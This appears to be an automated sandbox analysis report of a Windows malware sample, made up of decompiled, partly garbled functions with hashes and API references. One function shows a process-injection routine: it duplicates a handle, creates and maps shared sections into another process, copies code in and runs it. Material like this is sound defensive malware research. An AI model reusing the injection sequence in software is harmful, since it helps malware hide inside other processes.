Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 693661f4213d3c5ffc7fae7b320bed850bc44b842b5e723aa5eaeaecf4b826f3
Instruction ID: a99f987fb3800db72710cdf5a38ca902ccd841e4d5acefe62a501ff3cd3cf7f9
Opcode Fuzzy Hash: 693661f4213d3c5ffc7fae7b320bed850bc44b842b5e723aa5eaeaecf4b826f3
Instruction Fuzzy Hash: 54013CF2708205FAEB109A959C61ABA36299F45354F304137BA13790F6C63D8A13E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 44
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 43%

			E00401925(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t13;
				intOrPtr* _t19;
				void* _t20;
				intOrPtr _t21;
				void* _t25;
				intOrPtr* _t26;

				_t28 = __eflags;
				_t20 = __ecx;
				_t24 = __eax;
				asm("a16 push 0xab");
				_push(0xab);
				_t21 =  *_t26;
				E0040119E(__esi, __ebx, __ecx, _t21, __edi, __eax, __eflags, __fp0);
				_t19 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t19); // executed
				_t13 = E00401419(_t19, __edi, _t24, _t28, __fp0); // executed
				_t29 = _t13;
				if(_t13 != 0) {
					E00401514(_t29, _t19, _t13,  *((intOrPtr*)(_t25 - 4)),  *((intOrPtr*)(_t25 + 0x14))); // executed
				}
				 *_t19();
				_t19 = _t19 + _t20;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401925
0x00401925
0x00401925
0x00401926
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: fb6d829510aa024f80ad68b07e155414bf1d60313f026e30baced06c17c35cd9
Instruction ID: b0ff338450a25d5b6aa89585593cf6bc9af60e6e70e63708ff4a4873c551fa89
Opcode Fuzzy Hash: fb6d829510aa024f80ad68b07e155414bf1d60313f026e30baced06c17c35cd9
Instruction Fuzzy Hash: 36F04FB2308205EBEB019B95DC61ABA37299F45714F204533BA53790F6C63D8A13E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401934 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E00401934(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				void* _t11;
				intOrPtr* _t17;
				void* _t18;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;
				void* _t25;

				_t18 = __ecx;
				_t25 = __eax - 0x11efebd3;
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(__eax, __ebx, __ecx, _t19, __edi, __esi, _t25, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + _t18;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401934
0x00401934
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 5342b53e28553ac5f786c1fafb6bd434548c179d4d59d8b70bfb48ced3a581c6
Instruction ID: 9499ee2aead6bf7bd52ecc6e282b1c5f7567d2022060853a6c33904b9a08ada9
Opcode Fuzzy Hash: 5342b53e28553ac5f786c1fafb6bd434548c179d4d59d8b70bfb48ced3a581c6
Instruction Fuzzy Hash: A0F06DB2204205EAEB005A958C61ABE37289F44314F204133BA13B90F2C63D8612E76B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040244C Relevance: 3.0, Strings: 2, Instructions: 523
COMMONCrypto

Download Yara Rule

C-Code - Quality: 53%

			E0040244C(signed int __ebx, intOrPtr __edi, signed int __esi, void* __eflags, void* __fp0, void* _a126704157, void* _a126721539, void* _a934638997, void* _a939215389, void* _a939490845, void* _a1440472949, void* _a1693713902, void* _a1920138973) {
				void* _v3;
				void* _v1724559843;
				void* _t131;
				signed int _t132;
				signed int _t209;
				void* _t226;
				void* _t227;
				signed int _t234;
				signed int _t252;
				signed int _t260;
				signed int _t264;
				void* _t265;
				void* _t275;
				intOrPtr _t277;
				void* _t278;
				void* _t282;
				void* _t326;

				_t326 = __fp0;
				_t275 = __eflags;
				_t252 = __esi;
				_t211 = __ebx;
				_t260 = _t264;
				_t265 = _t264 - 0x3c;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t131 = 0x2491;
				_t226 = 0x2a4;
				_t234 = 0x72;
				_t132 = E0040119E(_t131, __ebx, _t226, _t234, __edi, __esi, __eflags, __fp0);
				_t227 = 0x37;
				asm("invalid");
				if(_t275 < 0) {
					if (_t282 < 0) goto L50;
					if (_t282 < 0) goto L51;
					if(_t282 < 0) {
						_push(es);
					} else {
						if (_t282 < 0) goto L76;
						asm("sbb al, 0x72");
					}
				} else {
					asm("stc");
					asm("das");
					if(_t275 != 0) {
						__eflags = __ebx ^ _t260;
						 *((intOrPtr*)(__edi + 0x33)) = __edi;
						asm("aaa");
						asm("repne xor [ebp+esi+0x458b2727], al");
						asm("cld");
						return _t132;
					} else {
						_t252 =  *(_t234 + 0x72) * 0x72;
						 *_t132 =  *_t132 + _t234;
						asm("sbb edx, [edi]");
						_push(ss);
						_push(ds);
						_push(ds);
						if( *_t132 < 0) {
							if(_t278 >= 0) {
								asm("arpl [ecx*4-0x4d0895df], sp");
							}
							_t234 = _t132 *  *(_t227 + 0x70) >> 0x20;
							_t209 = _t132 *  *(_t227 + 0x70);
						} else {
							 *0x191d1d1a =  *0x191d1d1a + _t132;
							_t277 =  *0x191d1d1a;
							if(_t277 >= 0) {
								asm("sbb al, 0xa");
							}
							_t211 = _t211 |  *_t234;
							asm("sbb [edx+0x72], esi");
						}
					}
				}
			}

0x0040244c
0x0040244c
0x0040244c
0x0040244c
0x0040244d
0x0040244f
0x00402452
0x00402453
0x00402454
0x00402461
0x00402474
0x00402484
0x0040248c
0x00402491
0x00402493
0x00402496
0x0040250a
0x0040250c
0x0040250e
0x00402527
0x00402510
0x00402510
0x00402511
0x00402511
0x00402498
0x00402498
0x00402499
0x0040249a
0x00402436
0x00402438
0x0040243b
0x0040243c
0x00402444
0x00402449
0x0040249c
0x0040249c
0x004024a0
0x004024a2
0x004024a4
0x004024a5
0x004024a6
0x004024a7
0x004024bc
0x004024be
0x004024be
0x004024c6
0x004024c6
0x004024a9
0x004024a9
0x004024a9
0x004024af
0x004024b1
0x004024b1
0x004024b2
0x004024b4
0x004024b4
0x004024a7
0x0040249a

Strings

', xrefs: 0040268F
2, xrefs: 004026B2

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID:
String ID: '$2
API String ID: 0-4219222353
Opcode ID: 74304849074f6d434b87535e89282f4ea6f858761e5f4b4fa59ee5e2d557e78f
Instruction ID: 8dfda72a7efb712e5bc2bab99a901f3d7e8b98dcdc7743f55b88b435e83f9112
Opcode Fuzzy Hash: 74304849074f6d434b87535e89282f4ea6f858761e5f4b4fa59ee5e2d557e78f
Instruction Fuzzy Hash: 25E19B324752A2BBCF0E8A309F3D1CABB53AA5770475809B7C8417B1F2D1FE4546868D

Uniqueness

Uniqueness Score: -1.00%

Function 0040273F Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dca85ce7b8bea0f7539c47682ceb389a294c6e8f651fc70695933f315ab76d1
Instruction ID: b531a5069db43dd3f2511401e5d96438191eb79144dad8b4425a429f8fc9dc13
Opcode Fuzzy Hash: 4dca85ce7b8bea0f7539c47682ceb389a294c6e8f651fc70695933f315ab76d1
Instruction Fuzzy Hash: CE21CE6624D7A0DFD706B63486486E3BB806B173107A40A77C4432F2D6D5EA8D07D25F

Uniqueness

Uniqueness Score: -1.00%

Function 0040234C Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35ae5cc263b79e014aeaffe8d429262f26e84534b0262cf500adc124cd1032d4
Instruction ID: 1f4278f36a20d13c71fe966deb309bd134cc4d802f599e505df534074f72039f
Opcode Fuzzy Hash: 35ae5cc263b79e014aeaffe8d429262f26e84534b0262cf500adc124cd1032d4
Instruction Fuzzy Hash: 6E113A91A0824EA6DB021B71C70A8E5B7689B033D1F70456799437A4CAF27D444B9FDB

Uniqueness

Uniqueness Score: -1.00%

Function 0040289A Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff9946daed32d8728c44b2588b9b0679aa41ae813fa4294fe1c1a5ca5924ae70
Instruction ID: 91c0702a249521946f87d2af308510829925ed9829cfb70eb77170fea1ea07e8
Opcode Fuzzy Hash: ff9946daed32d8728c44b2588b9b0679aa41ae813fa4294fe1c1a5ca5924ae70
Instruction Fuzzy Hash: C0110C236097916EEB926B3480456C7BBE0BE5331439868FEC5839B443D9329006E7C5

Uniqueness

Uniqueness Score: -1.00%

Function 00402363 Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00402363(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t24;

				_t24 = __edi;
				_t12 = __ebx;
				_push(0xd8);
			}

0x00402363
0x00402363
0x00402384

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44d236dd18ed7cc44e9bc7cce8cfcb1189a40f90aed5ca59781d9a2641908dc6
Instruction ID: 79fb33f1a6b92fa151747cb447cf21f99dcade41ae5ed3c016d09dcef1a91514
Opcode Fuzzy Hash: 44d236dd18ed7cc44e9bc7cce8cfcb1189a40f90aed5ca59781d9a2641908dc6
Instruction Fuzzy Hash: 5E0148E1A0824BA6DB061BB0C70A4E5B7649B033E1F70456799437A4DAF23D444B9FC7

Uniqueness

Uniqueness Score: -1.00%

Function 00402367 Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00402367(signed int __eax, void* __ebx, void* __edi, void* __esi, void* __fp0) {
				signed char _t8;
				void* _t13;
				void* _t24;
				signed char _t38;

				_t24 = __edi;
				_t13 = __ebx;
				_t8 = __eax ^ 0x000000eb;
				_t38 = _t8;
				_push(0xd8);
			}

0x00402367
0x00402367
0x00402367
0x00402367
0x00402384

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a4084ac02067d2b861d5f45157bb941c608cca232c52e1fc1923edd070f084b
Instruction ID: 2394d781d1a396e978c79df1ce8b3d73b844fb0ff72a99cd8724924ea0ca0197
Opcode Fuzzy Hash: 9a4084ac02067d2b861d5f45157bb941c608cca232c52e1fc1923edd070f084b
Instruction Fuzzy Hash: 2E0148E2A0538FABDB021F70C7064C1BB74AE033E1F744556C442BA49AF225444A8FD2

Uniqueness

Uniqueness Score: -1.00%

Function 00402357 Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00402357(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t23;

				_t23 = __edi;
				_t12 = __ebx;
				_push(0xd8);
			}

0x00402357
0x00402357
0x00402384

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fc9ec9e55a2ebc0c52a8172b38619651972a838da35aad44390c72b2224976e
Instruction ID: adb6130998c19d8165bd49603d583b969caaeb14c07d9f703ab5f15f515ca25a
Opcode Fuzzy Hash: 6fc9ec9e55a2ebc0c52a8172b38619651972a838da35aad44390c72b2224976e
Instruction Fuzzy Hash: 6D016BE1A0924FA6DB060BB0C7065E5B7649F033E1F70466799437A4DAF23D444A9FC7

Uniqueness

Uniqueness Score: -1.00%

Function 00402391 Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00402391(void* __eax, signed int __ebx, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				signed int _t12;
				void* _t23;
				signed int _t30;
				signed int _t39;

				_t23 = __edi;
				_t12 = __ebx;
				asm("stc");
				_t39 = _t30 & __ebx;
				_push(0xd8);
			}

0x00402391
0x00402391
0x00402391
0x00402392
0x00402384

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 830207f2b3c8dbf8f98527a2181f82255fe73f89dc76b3c230820449c5672348
Instruction ID: d193cce59a0fcba641c7bd7617ca443eb9802fc1a664c8245c9b7313a9f05954
Opcode Fuzzy Hash: 830207f2b3c8dbf8f98527a2181f82255fe73f89dc76b3c230820449c5672348
Instruction Fuzzy Hash: A20126E2E0528F669B072FB1C7464D1BBB4DD023E2B741545C142BA45BF211448A8FC1

Uniqueness

Uniqueness Score: -1.00%

Function 00402945 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d7ffc448e6ea59591e74f27a1b1e4b3431302e9073b5f3b7d0fd0cdec15c6f2
Instruction ID: 26f0ddb5de8152cd0a6eca3c378174ea3a6d77097bba8faf7fbca0b24d697f01
Opcode Fuzzy Hash: 6d7ffc448e6ea59591e74f27a1b1e4b3431302e9073b5f3b7d0fd0cdec15c6f2
Instruction Fuzzy Hash: 29F0599034C54A9ED20111305F4DC72BF659B83310F340173D883261C580BE490B62AB

Uniqueness

Uniqueness Score: -1.00%

Function 004109DC Relevance: 10.7, APIs: 7, Instructions: 181COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.349140933.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_GyTbKONlyq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bd7263373c945ee6fd36a41f58db3fdb660cfe67ef1da9d8714555f23720893
Instruction ID: f0d041ecb6257beefe618fa361047714a98a051b7167459f6bbe20599fabe5c8
Opcode Fuzzy Hash: 9bd7263373c945ee6fd36a41f58db3fdb660cfe67ef1da9d8714555f23720893
Instruction Fuzzy Hash: 8C511571D053159FCF216BB58C086AF3A64AF503A8B20462BF854B72D1DB7C9CC18B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040E2E3 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040E309

Part of subcall function 0040E12E: __fltout2.LIBCMT ref: 0040E15A

__cftog_l.LIBCMT ref: 0040E32F
__cftoe_l.LIBCMT ref: 0040E361

Memory Dump Source

Source File: 00000000.00000002.349140933.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_GyTbKONlyq.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 19492c9a9c2abb8f16a0a8787e774dbabf618f5d44fd765466a2522a463b0bd6
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 3911833240014DFBCF225F96CC02CEE3F26BB18394B198826FE1869171C73AD971AB85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: gjsvvicPID: 4768, Parent PID: 1088COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	67.8%
Signature Coverage:	0%
Total number of Nodes:	90
Total number of Limit Nodes:	2

Executed Functions

Function 004014F2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 220
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 17%

			E004014F2(signed int __eax, void* __ebx, void* __ecx, signed int __edx, void* __fp0) {
				signed int _t13;
				signed int _t22;
				signed int _t24;

				asm("jecxz 0x52");
				if((__edx ^ _t24) != 0) {
					asm("les esp, [esi]");
					asm("daa");
					asm("daa");
					asm("jecxz 0xffffff9f");
					 *(_t24 - 0x336aac21) =  *(_t24 - 0x336aac21) & __eax;
					_push(__eax);
					asm("fnstenv [ebx]");
					asm("fistp word [edi]");
					asm("popfd");
					asm("fcomp st0, st0");
					_t13 = _t22 & 0xcb332727;
					if(_t13 >= 0) {
						asm("fcomp st0, st0");
						_push(0xccbdb09e);
						asm("sbb al, 0xdc");
						asm("repe mov ecx, 0x336d3733");
						asm("aad 0x6a");
					}
					_push(0x1d);
					asm("aas");
					return _t13;
				} else {
					__al = __al + __bl;
					asm("fcomp st0, st0");
					 *__ebx =  *__ebx ^ 0x000000dd;
					__al = __al + __bh;
					__ebp = __ebp ^  *(0x27244c30 + __ebx * 2);
					asm("daa");
					__eax =  *((intOrPtr*)(__ebp - 0xc));
					_pop(__ebx);
					_pop(__ebp);
					return  *((intOrPtr*)(__ebp - 0xc));
				}
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624

Strings

37m3, xrefs: 004014DC

Memory Dump Source

Source File: 00000002.00000002.414284411.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_gjsvvic.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID: 37m3
API String ID: 1652636561-2373783482
Opcode ID: de69b31deb9f01e35e7c91c6462f01d37875242edd855285f6934d222b1f2154
Instruction ID: a8aa84dfcf73c31766574aff20fc3c5bedaa0235d1c96fa093caba5cd892e43f
Opcode Fuzzy Hash: de69b31deb9f01e35e7c91c6462f01d37875242edd855285f6934d222b1f2154
Instruction Fuzzy Hash: A171C0B5900249BFEB209FA1CC48FEF7BB8EF85700F144569F911AA1E5E7719901CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 205
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E00401514(void* __eflags, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				long _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				long _v56;
				long _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				char _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				char _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				void* _t129;
				intOrPtr _t130;
				intOrPtr _t131;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				void* _t176;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				void* _t186;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				intOrPtr _t204;
				void* _t205;
				intOrPtr* _t207;
				void* _t208;
				void* _t209;
				void* _t210;
				long _t225;
				void* _t231;

				_t86 = 0x1561;
				_push(0x38d);
				_t131 =  *_t207;
				_t208 = _t207 + 4;
				asm("cmc");
				E0040119E(_t86, _t129, _t131, 0xc0, _t176, _t186, __eflags, _t231);
				_t130 = _a4;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				_v96 = _t89;
				_t187 =  &_v100;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 =  &_v52;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 =  &_v44;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push( &_v52);
					_push(_t188);
					_push(0x40);
					_push( &_v20);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, 0, 0, 2) == 0) {
						_v12 = 0;
						_t100 =  &_v84;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 =  &_v88;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							_push(_v84);
							_pop( *_t25);
							_t123 =  &_v72;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
								_t125 =  &_v64;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189, _v16, _t125, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
									_t204 = _v72;
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) = _a16;
									_v12 = _v12 + 1;
								}
							}
						}
						_t102 =  &_v84;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 = _a12 + 0x10000;
						_t190 =  &_v92;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 && _v12 != 0) {
							_push(_v84);
							_pop( *_t46);
							_t104 =  &_v76;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
								_t106 =  &_v68;
								 *_t106 = 0;
								_t138 =  &_v60;
								_t225 = NtMapViewOfSection( *_t190, _v16, _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t225 == 0) {
									L25();
									if(_t225 == 0 && _t225 != 0) {
										 *_t138 = _t190;
										_t208 = _t205;
									}
									_t209 = _t208 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 = _v288;
									_t210 = _t209 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t208 = _t210 - _t164;
									_t195 = _a8 +  *_a8;
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if(_v56 == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) + _v76,  *((intOrPtr*)(_t166 + 0x14)) + _a8, _t141);
										_t208 = _t208 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t229 = _v56;
									if(_v56 == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) - _v68;
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) + _v76;
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)(0 + _v76 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 =  &_v8;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))(_v16, 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) + _v68, _v64, _t110, 0);
									} else {
										L58();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t229, _t231, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x38d);
				_push(0xc0);
				asm("les eax, [ebx+ebp*8]");
				return __eax;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
